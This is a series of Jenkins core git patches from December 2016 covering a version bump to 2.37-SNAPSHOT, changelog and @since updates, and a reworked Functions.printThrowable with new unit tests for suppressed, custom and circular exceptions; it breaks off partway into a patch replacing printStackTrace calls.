2.37-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index a217cf1469..410c7bf46a 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36 + 2.37-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.36 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 1a83c0c2a3..674c7be7fd 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36 + 2.37-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 72942fd89a..c0545ad5ea 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36 + 2.37-SNAPSHOT jenkins-war -- GitLab From 476605c549637ffb9209c05315bacd5fdf8c439c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 11 Dec 2016 20:57:35 -0800 Subject: [PATCH 404/712] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 0180b6a8f9..4b8502c6fd 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                    What's new in 2.36 (2016/12/11)

                    • Several badges were missing in builds flagged as KeepBuildForever. @@ -71,7 +76,6 @@ Upcoming changes These message classes are not guaranteed to be binary compatible. (pull 2656)
                    -

                    What's new in 2.35 (2016/12/04)

                    • -- GitLab From e2e17da128af5eee6932de0e4ef2f72966b75dde Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 12 Dec 2016 15:22:19 +0000 Subject: [PATCH 405/712] since FIXME -> 2.37 --- core/src/main/java/hudson/model/AllView.java | 4 ++-- core/src/main/java/hudson/model/Queue.java | 2 +- core/src/main/java/hudson/model/ViewDescriptor.java | 6 +++--- core/src/main/java/hudson/model/queue/CauseOfBlockage.java | 2 +- core/src/main/java/hudson/security/ACL.java | 2 +- core/src/main/java/hudson/views/ListViewColumn.java | 4 ++-- core/src/main/java/hudson/views/MyViewsTabBar.java | 2 +- core/src/main/java/hudson/views/ViewsTabBar.java | 2 +- 8 files changed, 12 insertions(+), 12 deletions(-) diff --git a/core/src/main/java/hudson/model/AllView.java b/core/src/main/java/hudson/model/AllView.java index 06122f89c6..939c5fd2eb 100644 --- a/core/src/main/java/hudson/model/AllView.java +++ b/core/src/main/java/hudson/model/AllView.java @@ -57,7 +57,7 @@ public class AllView extends View { * Other {@link AllView} instances will be assumed to have been created by the user and thus will use the * name the user created them with. * - * @since FIXME + * @since 2.37 */ public static final String DEFAULT_VIEW_NAME = "all"; @@ -132,7 +132,7 @@ public class AllView extends View { * @param primaryView the current primary view name. * @return the primary view name - this will be the same as the provided primary view name unless a JENKINS-38606 * matching name is detected, in which case this will be the new name of the primary view. - * @since FIXME + * @since 2.37 */ @Nonnull public static String migrateLegacyPrimaryAllViewLocalizedName(@Nonnull List views, diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index 66fc9f3f93..f4325f7def 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -257,7 +257,7 @@ public class Queue extends ResourceController implements Saveable { /** * Checks whether the {@link Executor} represented by this object is capable of executing the given task. * @return a reason why it cannot, or null if it could - * @since FIXME + * @since 2.37 */ public @CheckForNull CauseOfBlockage getCauseOfBlockage(BuildableItem item) { Node node = getNode(); diff --git a/core/src/main/java/hudson/model/ViewDescriptor.java b/core/src/main/java/hudson/model/ViewDescriptor.java index e4f6dceb56..c1656cea64 100644 --- a/core/src/main/java/hudson/model/ViewDescriptor.java +++ b/core/src/main/java/hudson/model/ViewDescriptor.java @@ -138,7 +138,7 @@ public abstract class ViewDescriptor extends Descriptor { * @param view the view to check the new display name of. * @param value the proposed new display name. * @return the validation result. - * @since FIXME + * @since 2.37 */ @SuppressWarnings("unused") // expose utility check method to subclasses protected FormValidation checkDisplayName(@Nonnull View view, @CheckForNull String value) { @@ -163,7 +163,7 @@ public abstract class ViewDescriptor extends Descriptor { * Default implementation returns {@code true} always. * * @return true to indicate applicable, in which case the view will be instantiable within the type of owner. - * @since FIXME + * @since 2.37 */ public boolean isApplicable(Class ownerType) { return true; @@ -175,7 +175,7 @@ public abstract class ViewDescriptor extends Descriptor { * Default implementation returns {@link #isApplicable(Class)} for the {@link ViewGroup#getClass()}. * * @return true to indicate applicable, in which case the view will be instantiable within the given owner. - * @since FIXME + * @since 2.37 */ public boolean isApplicableIn(ViewGroup owner) { return isApplicable(owner.getClass()); diff --git a/core/src/main/java/hudson/model/queue/CauseOfBlockage.java b/core/src/main/java/hudson/model/queue/CauseOfBlockage.java index 2235d98218..e5ba863597 100644 --- a/core/src/main/java/hudson/model/queue/CauseOfBlockage.java +++ b/core/src/main/java/hudson/model/queue/CauseOfBlockage.java @@ -109,7 +109,7 @@ public abstract class CauseOfBlockage { /** * Build is blocked because a node (or its retention strategy) is not accepting tasks. - * @since FIXME + * @since 2.37 */ public static final class BecauseNodeIsNotAcceptingTasks extends CauseOfBlockage implements NeedsMoreExecutor { diff --git a/core/src/main/java/hudson/security/ACL.java b/core/src/main/java/hudson/security/ACL.java index fd5b1e8e0b..2febef6650 100644 --- a/core/src/main/java/hudson/security/ACL.java +++ b/core/src/main/java/hudson/security/ACL.java @@ -152,7 +152,7 @@ public abstract class ACL { * @param d the descriptor of the view to be created. * @return false * if the user doesn't have the permission. - * @since FIXME + * @since 2.37 */ public boolean hasCreatePermission(@Nonnull Authentication a, @Nonnull ViewGroup c, @Nonnull ViewDescriptor d) { diff --git a/core/src/main/java/hudson/views/ListViewColumn.java b/core/src/main/java/hudson/views/ListViewColumn.java index 094d0f0dae..06d8ba2f14 100644 --- a/core/src/main/java/hudson/views/ListViewColumn.java +++ b/core/src/main/java/hudson/views/ListViewColumn.java @@ -133,7 +133,7 @@ public abstract class ListViewColumn implements ExtensionPoint, Describable createDefaultInitialColumnList(Class context) { return createDefaultInitialColumnList(DescriptorVisibilityFilter.applyType(context, ListViewColumn.all())); @@ -143,7 +143,7 @@ public abstract class ListViewColumn implements ExtensionPoint, Describable createDefaultInitialColumnList(View view) { return createDefaultInitialColumnList(DescriptorVisibilityFilter.apply(view, ListViewColumn.all())); diff --git a/core/src/main/java/hudson/views/MyViewsTabBar.java b/core/src/main/java/hudson/views/MyViewsTabBar.java index 45cba48b49..1d2fe44db1 100644 --- a/core/src/main/java/hudson/views/MyViewsTabBar.java +++ b/core/src/main/java/hudson/views/MyViewsTabBar.java @@ -76,7 +76,7 @@ public abstract class MyViewsTabBar extends AbstractDescribableImpl i * * @param views the views. * @return the sorted views - * @since FIXME + * @since 2.37 */ @Nonnull @Restricted(NoExternalUse.class) -- GitLab From b55ef51ab603f56d01a89dc75cf08d9bc16d9113 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 15:05:03 -0500 Subject: [PATCH 406/712] More robust & flexible test framework for printThrowable. --- core/src/test/java/hudson/FunctionsTest.java | 79 ++++++++++++-------- 1 file changed, 48 insertions(+), 31 deletions(-) diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index 26bcfcddfe..3e6f7538c6 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -29,6 +29,8 @@ import hudson.model.Item; import hudson.model.ItemGroup; import hudson.model.TopLevelItem; import hudson.model.View; +import java.io.PrintWriter; +import java.io.StringWriter; import java.util.Arrays; import java.util.Collections; import java.util.List; @@ -344,42 +346,57 @@ public class FunctionsTest { @Issue("JDK-6507809") @Test public void printThrowable() throws Exception { - Throwable x; - try { - method1(); - throw new AssertionError(); - } catch (IllegalStateException _x) { - x = _x; - } - String stack = Functions.printThrowable(x).replace(IOUtils.LINE_SEPARATOR, "\n"); - Matcher m = Pattern.compile( - "java\\.lang\\.NullPointerException: oops\n" + - "\tat hudson\\.FunctionsTest\\.method2\\(FunctionsTest\\.java:(\\d+)\\)\n" + - "\tat hudson\\.FunctionsTest\\.method1\\(FunctionsTest\\.java:(\\d+)\\)\n" + - "Caused: java\\.lang\\.IllegalStateException\n" + - "\tat hudson\\.FunctionsTest\\.method1\\(FunctionsTest\\.java:(\\d+)\\)\n" + - "\tat hudson\\.FunctionsTest\\.printThrowable\\(FunctionsTest\\.java:\\d+\\)\n" + - "(\tat .+\n)+").matcher(stack); - assertTrue(stack, m.matches()); - int throwNPE = Integer.parseInt(m.group(1)); - int callToMethod2 = Integer.parseInt(m.group(2)); - int throwISE = Integer.parseInt(m.group(3)); - assertEquals(callToMethod2 + 2, throwISE); - assertEquals(callToMethod2 + 6, throwNPE); + assertPrintThrowable(new Stack("java.lang.IllegalStateException: java.lang.NullPointerException: oops", "p.C.method1:19", "m.Main.main:1"). + cause(new Stack("java.lang.NullPointerException: oops", "p.C.method2:23", "p.C.method1:17", "m.Main.main:1")), + "java.lang.IllegalStateException: java.lang.NullPointerException: oops\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n" + + "Caused by: java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "\t... 1 more\n", + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "Caused: java.lang.IllegalStateException\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n"); // TODO assert display of new WrapperException("more info", wrapped) // TODO assert display of new WrapperException("more info: " + wrapped, wrapped) // TODO assert that full stack is preserved if wrapped does not share a common stack (e.g., comes from an executor service thread) } - // Do not change line spacing of these: - private static void method1() { - try { - method2(); - } catch (Exception x) { - throw new IllegalStateException(x); - } + private static void assertPrintThrowable(Throwable t, String traditional, String custom) { + StringWriter sw = new StringWriter(); + t.printStackTrace(new PrintWriter(sw)); + assertEquals(sw.toString().replace(IOUtils.LINE_SEPARATOR, "\n"), traditional); + assertEquals(Functions.printThrowable(t).replace(IOUtils.LINE_SEPARATOR, "\n"), custom); } - private static void method2() { - throw new NullPointerException("oops"); + private static final class Stack extends Throwable { + private static final Pattern LINE = Pattern.compile("(.+)[.](.+)[.](.+):(\\d+)"); + private final String toString; + Stack(String toString, String... stack) { + this.toString = toString; + StackTraceElement[] lines = new StackTraceElement[stack.length]; + for (int i = 0; i < stack.length; i++) { + Matcher m = LINE.matcher(stack[i]); + assertTrue(m.matches()); + lines[i] = new StackTraceElement(m.group(1) + "." + m.group(2), m.group(3), m.group(2) + ".java", Integer.parseInt(m.group(4))); + } + setStackTrace(lines); + } + @Override + public String toString() { + return toString; + } + synchronized Stack cause(Throwable cause) { + return (Stack) initCause(cause); + } + synchronized Stack suppressed(Throwable... suppressed) { + for (Throwable t : suppressed) { + addSuppressed(t); + } + return this; + } } } -- GitLab From 106bd3e01828a6134fac509d598ca6a30151b272 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 15:35:06 -0500 Subject: [PATCH 407/712] More test coverage. --- core/src/test/java/hudson/FunctionsTest.java | 96 +++++++++++++++++++- 1 file changed, 93 insertions(+), 3 deletions(-) diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index 3e6f7538c6..0f173309ae 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -346,6 +346,15 @@ public class FunctionsTest { @Issue("JDK-6507809") @Test public void printThrowable() throws Exception { + // Basics: a single exception. No change. + assertPrintThrowable(new Stack("java.lang.NullPointerException: oops", "p.C.method1:17", "m.Main.main:1"), + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method1(C.java:17)\n" + + "\tat m.Main.main(Main.java:1)\n", + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method1(C.java:17)\n" + + "\tat m.Main.main(Main.java:1)\n"); + // try {…} catch (Exception x) {throw new IllegalStateException(x);} assertPrintThrowable(new Stack("java.lang.IllegalStateException: java.lang.NullPointerException: oops", "p.C.method1:19", "m.Main.main:1"). cause(new Stack("java.lang.NullPointerException: oops", "p.C.method2:23", "p.C.method1:17", "m.Main.main:1")), "java.lang.IllegalStateException: java.lang.NullPointerException: oops\n" + @@ -361,9 +370,90 @@ public class FunctionsTest { "Caused: java.lang.IllegalStateException\n" + "\tat p.C.method1(C.java:19)\n" + "\tat m.Main.main(Main.java:1)\n"); - // TODO assert display of new WrapperException("more info", wrapped) - // TODO assert display of new WrapperException("more info: " + wrapped, wrapped) - // TODO assert that full stack is preserved if wrapped does not share a common stack (e.g., comes from an executor service thread) + // try {…} catch (Exception x) {throw new IllegalStateException("more info");} + assertPrintThrowable(new Stack("java.lang.IllegalStateException: more info", "p.C.method1:19", "m.Main.main:1"). + cause(new Stack("java.lang.NullPointerException: oops", "p.C.method2:23", "p.C.method1:17", "m.Main.main:1")), + "java.lang.IllegalStateException: more info\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n" + + "Caused by: java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "\t... 1 more\n", + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "Caused: java.lang.IllegalStateException: more info\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n"); + // try {…} catch (Exception x) {throw new IllegalStateException("more info: " + x);} + assertPrintThrowable(new Stack("java.lang.IllegalStateException: more info: java.lang.NullPointerException: oops", "p.C.method1:19", "m.Main.main:1"). + cause(new Stack("java.lang.NullPointerException: oops", "p.C.method2:23", "p.C.method1:17", "m.Main.main:1")), + "java.lang.IllegalStateException: more info: java.lang.NullPointerException: oops\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n" + + "Caused by: java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "\t... 1 more\n", + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "Caused: java.lang.IllegalStateException: more info\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n"); + // Synthetic stack showing an exception made elsewhere, such as happens with hudson.remoting.Channel.attachCallSiteStackTrace. + Throwable t = new Stack("remote.Exception: oops", "remote.Place.method:17", "remote.Service.run:9"); + StackTraceElement[] callSite = new Stack("wrapped.Exception", "local.Side.call:11", "local.Main.main:1").getStackTrace(); + StackTraceElement[] original = t.getStackTrace(); + StackTraceElement[] combined = new StackTraceElement[original.length + 1 + callSite.length]; + System.arraycopy(original, 0, combined, 0, original.length); + combined[original.length] = new StackTraceElement(".....", "remote call", null, -2); + System.arraycopy(callSite,0,combined,original.length+1,callSite.length); + t.setStackTrace(combined); + assertPrintThrowable(t, + "remote.Exception: oops\n" + + "\tat remote.Place.method(Place.java:17)\n" + + "\tat remote.Service.run(Service.java:9)\n" + + "\tat ......remote call(Native Method)\n" + + "\tat local.Side.call(Side.java:11)\n" + + "\tat local.Main.main(Main.java:1)\n", + "remote.Exception: oops\n" + + "\tat remote.Place.method(Place.java:17)\n" + + "\tat remote.Service.run(Service.java:9)\n" + + "\tat ......remote call(Native Method)\n" + + "\tat local.Side.call(Side.java:11)\n" + + "\tat local.Main.main(Main.java:1)\n"); + // Same but now using a cause on the remote side. + t = new Stack("remote.Wrapper: remote.Exception: oops", "remote.Place.method2:19", "remote.Service.run:9").cause(new Stack("remote.Exception: oops", "remote.Place.method1:11", "remote.Place.method2:17", "remote.Service.run:9")); + callSite = new Stack("wrapped.Exception", "local.Side.call:11", "local.Main.main:1").getStackTrace(); + original = t.getStackTrace(); + combined = new StackTraceElement[original.length + 1 + callSite.length]; + System.arraycopy(original, 0, combined, 0, original.length); + combined[original.length] = new StackTraceElement(".....", "remote call", null, -2); + System.arraycopy(callSite,0,combined,original.length+1,callSite.length); + t.setStackTrace(combined); + assertPrintThrowable(t, + "remote.Wrapper: remote.Exception: oops\n" + + "\tat remote.Place.method2(Place.java:19)\n" + + "\tat remote.Service.run(Service.java:9)\n" + + "\tat ......remote call(Native Method)\n" + + "\tat local.Side.call(Side.java:11)\n" + + "\tat local.Main.main(Main.java:1)\n" + + "Caused by: remote.Exception: oops\n" + + "\tat remote.Place.method1(Place.java:11)\n" + + "\tat remote.Place.method2(Place.java:17)\n" + + "\tat remote.Service.run(Service.java:9)\n", + "remote.Exception: oops\n" + + "\tat remote.Place.method1(Place.java:11)\n" + + "\tat remote.Place.method2(Place.java:17)\n" + + "\tat remote.Service.run(Service.java:9)\n" + // we do not know how to elide the common part in this case + "Caused: remote.Wrapper\n" + + "\tat remote.Place.method2(Place.java:19)\n" + + "\tat remote.Service.run(Service.java:9)\n" + + "\tat ......remote call(Native Method)\n" + + "\tat local.Side.call(Side.java:11)\n" + + "\tat local.Main.main(Main.java:1)\n"); } private static void assertPrintThrowable(Throwable t, String traditional, String custom) { StringWriter sw = new StringWriter(); -- GitLab From da541716827999933cf121a85817bc31fc794918 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 16:00:30 -0500 Subject: [PATCH 408/712] Handle suppressed exceptions. --- core/src/main/java/hudson/Functions.java | 17 +++++--- core/src/test/java/hudson/FunctionsTest.java | 44 +++++++++++++++++++- 2 files changed, 54 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 565d4dc502..921f247c4b 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -1453,16 +1453,21 @@ public class Functions { return Messages.Functions_NoExceptionDetails(); } StringBuilder s = new StringBuilder(); - doPrintStackTrace(s, t, null); + doPrintStackTrace(s, t, null, ""); return s.toString(); } - private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher) { + private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher, @Nonnull String prefix) { // TODO check if t overrides printStackTrace - // TODO handle suppressed exceptions Throwable lower = t.getCause(); if (lower != null) { - doPrintStackTrace(s, lower, t); - s.append("Caused: "); + doPrintStackTrace(s, lower, t, prefix); + } + for (Throwable suppressed : t.getSuppressed()) { + s.append(prefix).append("Also: "); + doPrintStackTrace(s, suppressed, t, prefix + "\t"); + } + if (lower != null) { + s.append(prefix).append("Caused: "); } String summary = t.toString(); if (lower != null) { @@ -1485,7 +1490,7 @@ public class Functions { } } for (int i = 0; i < end; i++) { - s.append("\tat ").append(trace[i]).append(IOUtils.LINE_SEPARATOR); + s.append(prefix).append("\tat ").append(trace[i]).append(IOUtils.LINE_SEPARATOR); } } diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index 0f173309ae..a4a6bd578a 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -454,12 +454,54 @@ public class FunctionsTest { "\tat ......remote call(Native Method)\n" + "\tat local.Side.call(Side.java:11)\n" + "\tat local.Main.main(Main.java:1)\n"); + // Suppressed exceptions: + assertPrintThrowable(new Stack("java.lang.IllegalStateException: java.lang.NullPointerException: oops", "p.C.method1:19", "m.Main.main:1"). + cause(new Stack("java.lang.NullPointerException: oops", "p.C.method2:23", "p.C.method1:17", "m.Main.main:1")). + suppressed(new Stack("java.io.IOException: could not close", "p.C.close:99", "p.C.method1:18", "m.Main.main:1"), + new Stack("java.io.IOException: java.lang.NullPointerException", "p.C.flush:77", "p.C.method1:18", "m.Main.main:1"). + cause(new Stack("java.lang.NullPointerException", "p.C.findFlushee:70", "p.C.flush:75", "p.C.method1:18", "m.Main.main:1"))), + "java.lang.IllegalStateException: java.lang.NullPointerException: oops\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n" + + "\tSuppressed: java.io.IOException: could not close\n" + + "\t\tat p.C.close(C.java:99)\n" + + "\t\tat p.C.method1(C.java:18)\n" + + "\t\t... 1 more\n" + + "\tSuppressed: java.io.IOException: java.lang.NullPointerException\n" + + "\t\tat p.C.flush(C.java:77)\n" + + "\t\tat p.C.method1(C.java:18)\n" + + "\t\t... 1 more\n" + + "\tCaused by: java.lang.NullPointerException\n" + + "\t\tat p.C.findFlushee(C.java:70)\n" + + "\t\tat p.C.flush(C.java:75)\n" + + "\t\t... 2 more\n" + + "Caused by: java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "\t... 1 more\n", + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "Also: java.io.IOException: could not close\n" + + "\t\tat p.C.close(C.java:99)\n" + + "\t\tat p.C.method1(C.java:18)\n" + + "Also: java.lang.NullPointerException\n" + + "\t\tat p.C.findFlushee(C.java:70)\n" + + "\t\tat p.C.flush(C.java:75)\n" + + "\tCaused: java.io.IOException\n" + + "\t\tat p.C.flush(C.java:77)\n" + + "\t\tat p.C.method1(C.java:18)\n" + + "Caused: java.lang.IllegalStateException\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n"); } private static void assertPrintThrowable(Throwable t, String traditional, String custom) { StringWriter sw = new StringWriter(); t.printStackTrace(new PrintWriter(sw)); assertEquals(sw.toString().replace(IOUtils.LINE_SEPARATOR, "\n"), traditional); - assertEquals(Functions.printThrowable(t).replace(IOUtils.LINE_SEPARATOR, "\n"), custom); + String actual = Functions.printThrowable(t); + System.out.println(actual); + assertEquals(actual.replace(IOUtils.LINE_SEPARATOR, "\n"), custom); } private static final class Stack extends Throwable { private static final Pattern LINE = Pattern.compile("(.+)[.](.+)[.](.+):(\\d+)"); -- GitLab From 187731fd88962974e0db501d0ee3ddc14534e1a0 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 16:06:57 -0500 Subject: [PATCH 409/712] Check for printStackTrace overrides. --- core/src/main/java/hudson/Functions.java | 7 ++++++- core/src/test/java/hudson/FunctionsTest.java | 7 +++++++ 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 921f247c4b..38f24332ad 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -1457,7 +1457,12 @@ public class Functions { return s.toString(); } private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher, @Nonnull String prefix) { - // TODO check if t overrides printStackTrace + if (Util.isOverridden(Throwable.class, t.getClass(), "printStackTrace", PrintWriter.class)) { + StringWriter sw = new StringWriter(); + t.printStackTrace(new PrintWriter(sw)); + s.append(sw.toString()); + return; + } Throwable lower = t.getCause(); if (lower != null) { doPrintStackTrace(s, lower, t, prefix); diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index a4a6bd578a..a242e83e73 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -494,6 +494,13 @@ public class FunctionsTest { "Caused: java.lang.IllegalStateException\n" + "\tat p.C.method1(C.java:19)\n" + "\tat m.Main.main(Main.java:1)\n"); + // Custom printStackTrace implementations: + assertPrintThrowable(new Throwable() { + @Override + public void printStackTrace(PrintWriter s) { + s.println("Some custom exception"); + } + }, "Some custom exception\n", "Some custom exception\n"); } private static void assertPrintThrowable(Throwable t, String traditional, String custom) { StringWriter sw = new StringWriter(); -- GitLab From 7f4ce02e424663e9ff6da6075fefa368373a6bc6 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 16:14:48 -0500 Subject: [PATCH 410/712] Handle circular references. --- core/src/main/java/hudson/Functions.java | 14 ++++++++++---- core/src/test/java/hudson/FunctionsTest.java | 16 ++++++++++++++++ 2 files changed, 26 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 38f24332ad..f2863b5905 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -156,6 +156,8 @@ import com.google.common.base.Predicate; import com.google.common.base.Predicates; import hudson.model.PasswordParameterDefinition; import hudson.util.RunList; +import java.util.HashSet; +import java.util.Set; import java.util.concurrent.atomic.AtomicLong; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; @@ -1453,10 +1455,14 @@ public class Functions { return Messages.Functions_NoExceptionDetails(); } StringBuilder s = new StringBuilder(); - doPrintStackTrace(s, t, null, ""); + doPrintStackTrace(s, t, null, "", new HashSet()); return s.toString(); } - private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher, @Nonnull String prefix) { + private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher, @Nonnull String prefix, @Nonnull Set encountered) { + if (!encountered.add(t)) { + s.append("\n"); + return; + } if (Util.isOverridden(Throwable.class, t.getClass(), "printStackTrace", PrintWriter.class)) { StringWriter sw = new StringWriter(); t.printStackTrace(new PrintWriter(sw)); @@ -1465,11 +1471,11 @@ public class Functions { } Throwable lower = t.getCause(); if (lower != null) { - doPrintStackTrace(s, lower, t, prefix); + doPrintStackTrace(s, lower, t, prefix, encountered); } for (Throwable suppressed : t.getSuppressed()) { s.append(prefix).append("Also: "); - doPrintStackTrace(s, suppressed, t, prefix + "\t"); + doPrintStackTrace(s, suppressed, t, prefix + "\t", encountered); } if (lower != null) { s.append(prefix).append("Caused: "); diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index a242e83e73..7a1b72293b 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -501,6 +501,22 @@ public class FunctionsTest { s.println("Some custom exception"); } }, "Some custom exception\n", "Some custom exception\n"); + // Circular references: + Stack stack1 = new Stack("p.Exc1", "p.C.method1:17"); + Stack stack2 = new Stack("p.Exc2", "p.C.method2:27"); + stack1.cause(stack2); + stack2.cause(stack1); + assertPrintThrowable(stack1, + "p.Exc1\n" + + "\tat p.C.method1(C.java:17)\n" + + "Caused by: p.Exc2\n" + + "\tat p.C.method2(C.java:27)\n" + + "\t[CIRCULAR REFERENCE:p.Exc1]\n", + "\n" + + "Caused: p.Exc2\n" + + "\tat p.C.method2(C.java:27)\n" + + "Caused: p.Exc1\n" + + "\tat p.C.method1(C.java:17)\n"); } private static void assertPrintThrowable(Throwable t, String traditional, String custom) { StringWriter sw = new StringWriter(); -- GitLab From 24aa20635d52a0269af373cd42c93c3d230c8b6b Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 16:44:10 -0500 Subject: [PATCH 411/712] Replaced other usages of printStackTrace. --- core/src/main/java/hudson/FilePath.java | 2 +- core/src/main/java/hudson/Proc.java | 2 +- core/src/main/java/hudson/Util.java | 2 +- core/src/main/java/hudson/cli/CLICommand.java | 5 +++-- .../java/hudson/cli/declarative/CLIRegisterer.java | 3 ++- core/src/main/java/hudson/model/AbstractBuild.java | 7 +++---- core/src/main/java/hudson/model/AbstractProject.java | 4 ++-- .../main/java/hudson/model/AsyncAperiodicWork.java | 5 +++-- .../src/main/java/hudson/model/AsyncPeriodicWork.java | 5 +++-- core/src/main/java/hudson/model/Build.java | 3 ++- core/src/main/java/hudson/model/Executor.java | 3 ++- .../java/hudson/model/FingerprintCleanupThread.java | 3 ++- core/src/main/java/hudson/model/Run.java | 7 ++----- core/src/main/java/hudson/model/TaskThread.java | 3 ++- .../java/hudson/model/WorkspaceCleanupThread.java | 9 +++++---- .../src/main/java/hudson/os/solaris/ZFSInstaller.java | 5 +++-- core/src/main/java/hudson/scm/SCM.java | 3 ++- core/src/main/java/hudson/slaves/CommandLauncher.java | 11 ++++++----- core/src/main/java/hudson/slaves/SlaveComputer.java | 9 +++++---- core/src/main/java/hudson/tasks/ArtifactArchiver.java | 4 ++-- .../main/java/hudson/tasks/CommandInterpreter.java | 9 +++++---- core/src/main/java/hudson/tasks/Fingerprinter.java | 3 ++- core/src/main/java/hudson/tasks/Maven.java | 2 +- core/src/main/java/hudson/triggers/SCMTrigger.java | 3 ++- .../main/java/hudson/util/RemotingDiagnostics.java | 2 +- core/src/main/java/hudson/util/SecretRewriter.java | 3 ++- core/src/main/java/jenkins/PluginSubtypeMarker.java | 5 ++--- .../management/AsynchronousAdministrativeMonitor.java | 3 ++- core/src/main/java/jenkins/model/Jenkins.java | 5 +---- .../jenkins/security/RekeySecretAdminMonitor.java | 3 ++- .../java/jenkins/slaves/DefaultJnlpSlaveReceiver.java | 3 ++- .../slaves/restarter/JnlpSlaveRestarterInstaller.java | 3 ++- .../main/resources/META-INF/upgrade/Functions.hint | 2 ++ 33 files changed, 78 insertions(+), 63 deletions(-) create mode 100644 core/src/main/resources/META-INF/upgrade/Functions.hint diff --git a/core/src/main/java/hudson/FilePath.java b/core/src/main/java/hudson/FilePath.java index 